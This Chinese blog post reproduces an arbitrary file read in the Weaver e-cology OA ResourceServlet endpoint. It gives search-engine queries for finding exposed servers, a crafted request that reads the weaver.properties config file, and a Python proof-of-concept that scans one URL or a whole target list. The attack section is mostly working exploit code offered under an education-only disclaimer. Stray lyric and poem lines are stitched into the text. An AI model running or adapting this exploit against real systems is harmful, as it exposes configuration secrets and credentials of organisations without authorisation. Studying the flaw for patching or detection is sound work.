【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集

fofa:app="泛微-OA(e-cology)"

hunter:app.name="泛微 e-Cology协同商务系统"

隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。

2)构造数据包

python 复制代码
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip

代码解释:

python 复制代码
org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties

这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet来获取资源。下面是对这个payload的分析:

  1. org.springframework.web.servlet.ResourceServlet:这是Spring框架中的一个Servlet类,ResourceServlet用于处理静态资源的请求。

  2. ?resource=/WEB-INF/prop/weaver.properties:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties路径。

    • /WEB-INF/:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。
    • /prop/:这是一个自定义的目录,用于存放属性文件或配置文件。
    • weaver.properties:这是一个属性文件,可能包含了应用程序的配置信息。

如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。

回显包含配置信息,存在任意文件读取漏洞。

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
    
    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL,尝试读取敏感文件
        attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
  
        # 发送GET请求并忽略证书验证
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and 'ecology' in response.text:
            print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 请求异常处理
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
    parser.add_argument('-u', '--url', help='指定目标URL')
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)
    elif args.file:
        # 处理文件参数,读取文件中的每个URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图


滚滚长江东逝水,浪花淘尽英雄。

相关推荐
恰薯条的屑海鸥14 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十五期-URL重定向模块)
学习·安全·web安全·渗透测试·网络安全学习
痴人说梦梦中人1 天前
SwaggerFuzzer:一款自动化 OpenAPI/Swagger 接口未授权访问测试工具
网络安全·渗透测试·自动化·api测试·漏洞利用·信息搜集
恰薯条的屑海鸥1 天前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
炫彩@之星1 天前
【Pikachu】PHP反序列化RCE实战
渗透测试·php反序列化漏洞
恰薯条的屑海鸥2 天前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
恰薯条的屑海鸥2 天前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
恰薯条的屑海鸥2 天前
零基础在实践中学习网络安全-皮卡丘靶场(第十期-Over Permission 模块)
学习·安全·web安全·渗透测试·网络安全学习
痴人说梦梦中人2 天前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
独行soc4 天前
2025年渗透测试面试题总结-腾讯[实习]玄武实验室-安全工程师(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试·区块链
独行soc5 天前
2025年渗透测试面试题总结-腾讯[实习]安全研究员(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试